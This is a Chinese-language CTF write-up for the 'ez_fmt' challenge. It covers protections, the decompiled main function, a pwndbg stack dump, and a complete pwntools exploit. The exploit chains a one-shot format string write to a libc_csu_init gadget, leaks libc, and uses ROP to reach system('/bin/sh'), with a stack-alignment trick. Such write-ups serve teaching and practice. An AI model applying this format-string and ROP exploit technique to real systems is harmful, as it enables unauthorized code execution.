题目详解
查看保护机制,地址随机化未开启- Arch: amd64-64-little
- RELRO: Full RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: No PIE (0x400000)
复制代码 查看main函数,题目给出了一个栈地址,同时还有个很明显的字符串格式化漏洞,但是只能利用一次- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char buf[88]; // [rsp+0h] [rbp-60h] BYREF
- unsigned __int64 v5; // [rsp+58h] [rbp-8h]
- v5 = __readfsqword(0x28u);
- setvbuf(stdout, 0LL, 2, 0LL);
- setvbuf(stdin, 0LL, 2, 0LL);
- printf("There is a gift for you %p\n", buf);
- read(0, buf, 0x30uLL);
- if ( w == 0xFFFF )
- {
- printf(buf);
- w = 0;
- }
- return 0;
- }
复制代码 利用思路是
- 首先要能劫持控制流,那么修改栈上的返回地址是个不错的选择
- 其次要泄露libc基址,利用栈上残留的libc地址也是个不错的方法,这里锁定__libc_start_main函数,经过gdb调试发现buf在栈上的偏移为%6$p,那么用stack查看栈数据就能找出__libc_start_main函数地址的偏移,很明显是偏移量是19
- pwndbg> stack 16
- 00:0000│ rdi rsi rsp 0x7fff2e1ed0f0 ◂— 0x3031256336303225 ('%206c%10')
- 01:0008│ 0x7fff2e1ed0f8 ◂— 0x243931256e686824 ('$hhn%19$')
- 02:0010│ 0x7fff2e1ed100 ◂— 0x6161616661616170 ('paaafaaa')
- 03:0018│ 0x7fff2e1ed108 —▸ 0x401205 (main+111) ◂— lea rax, [rbp - 0x60]
- 04:0020│ 0x7fff2e1ed110 —▸ 0x7fff2e1ed0e8 —▸ 0x401220 (main+138) ◂— mov eax, dword ptr [rip + 0x2dea]
- 05:0028│ 0x7fff2e1ed118 ◂— 0x6161616161616161 ('aaaaaaaa')
- 06:0030│ 0x7fff2e1ed120 —▸ 0x7f10a64392e8 (__exit_funcs_lock) ◂—
- 0x0
- 07:0038│ 0x7fff2e1ed128 —▸ 0x401270 (__libc_csu_init) ◂— endbr64
- 08:0040│ 0x7fff2e1ed130 ◂— 0x0
- 09:0048│ 0x7fff2e1ed138 —▸ 0x4010b0 (_start) ◂— endbr64
- 0a:0050│ 0x7fff2e1ed140 —▸ 0x7fff2e1ed240 ◂— 0x1
- 0b:0058│ 0x7fff2e1ed148 ◂— 0xc1facd3e33c58500
- 0c:0060│ rbp 0x7fff2e1ed150 ◂— 0x0
- 0d:0068│ 0x7fff2e1ed158 —▸ 0x7f10a626c083 (__libc_start_main+243) ◂— mov edi, eax
- 0e:0070│ 0x7fff2e1ed160 ◂— 0x50 /* 'P' */
- 0f:0078│ 0x7fff2e1ed168 —▸ 0x7fff2e1ed248 —▸ 0x7fff2e1edd49 ◂— './ez_fmt'
复制代码 那么攻击思路就是
- 1.格式化字符串修改printf函数的返回地址为_libc_csu_init函数中的gadget,这样是为了控制rsp,避免ret的时候和前面构造的恶意格式化字符串产生冲突。
gadget:- .text:00000000004012CE 41 5D pop r13
- .text:00000000004012D0 41 5E pop r14
- .text:00000000004012D2 41 5F pop r15
- .text:00000000004012D4 C3 retn
复制代码 这里printf函数的返回地址指的是下面代码中执行printf函数后在栈上产生的返回地址- if ( w == 0xFFFF )
- {
- printf(buf);
- w = 0;
- }
复制代码 - 2.泄露libc地址
- 3.劫持控制流执行system("/bin/sh") 代码
第一步和第二步可以在一次格式化漏洞中完成,printf(buf)的返回地址就是泄露的栈地址 - 8, 又因为执行printf(buf)的地址为0x40122D,和要跳转到的gadget地址0x4012CE仅有不到一个字节的偏移,所以只需要覆盖低字节。(因为给的buf仅有0x30的大小,所以要尽量缩减格式化字符串的长度)
程序在执行完printf函数后会返回到gadget的位置,然后经过三次出栈操作,rsp指向buf + 0x18,然后执行ret。
显然buf + 0x18的值是我们可控的,修改它到执行read函数的地址
这样程序流程就变成了 printf(buf) -> gadget -> read(0, buf,0x30)
因为read的返回地址存在buf里,也是可控的,所以ROP执行system函数即可
exp脚本
- from pwn import *
- context(arch = "amd64",os = "linux",log_level = "debug",terminal = ['tmux','splitw','-h'])
- io = process("./ez_fmt")
- libc = ELF("./libc.so.6")
- rdi_ret = 0x04012d3
- io.recvuntil(b"for you")
- stack = int(io.recvline()[0:-1], 16)
- success(hex(stack))
- payload = flat(
- {
- 0:"%{}c%10$hhn%19$p".format(0xce),
- 0x18: p64(0x401205) + p64(stack - 8)
- }
- )
- payload = payload.ljust(0x30, b'a')
- # gdb.attach(io, "b *0x401239\nb *0x401205")
- io.send(payload)
- # offset = 6
- io.recvuntil(b"0x")
- libc_base = int(io.recv(12), 16) - libc.symbols["__libc_start_main"] - 243
- payload = flat(
- {
- 0x18 : p64(rdi_ret) + p64(libc_base + libc.search(b"/bin/sh").__next__()),
- 0x28 : p64(libc_base + 0x051CD2)
- }
- )
- io.send(payload)
- io.interactive()
复制代码 为什么exp里是p64(libc_base + 0x051CD2)而不是 p64(libc_base + libc.symbols["system"])?
- 后面那种方式因为堆栈对齐的问题,在跑到这行代码时会出错
- 0x7fbc67b59e3c <do_system+364> movaps xmmword ptr [rsp + 0x50], xmm0
复制代码 - 因为给的buf空间太小了,无法再加上一个ret指令来平衡堆栈。所以我用IDA查看了libc-2.31.so的源码
- __int64 __fastcall system(__int64 a1)
- {
- if ( a1 )
- return sub_51CD0(a1);
- else
- return (unsigned int)sub_51CD0("exit 0") == 0;
- }
复制代码- .text:0000000000051CD0 41 55 push r13
- .text:0000000000051CD2 B9 10 00 00 00 mov ecx, 10h
- .text:0000000000051CD7 41 54 push r12
- .text:0000000000051CD9 55 push rbp
- .text:0000000000051CDA 53 push rbx
- .text:0000000000051CDB 48 89 FB mov rbx, rdi
- .text:0000000000051CDE 48 81 EC 78 03 00 00 sub rsp, 378h
- .text:0000000000051CE5 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h
复制代码 如果直接调用sub_51CD0和system的效果一致。所以执行sub_51CD0 + 2来跳过开头的push r13指令,这样堆栈就平衡了
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |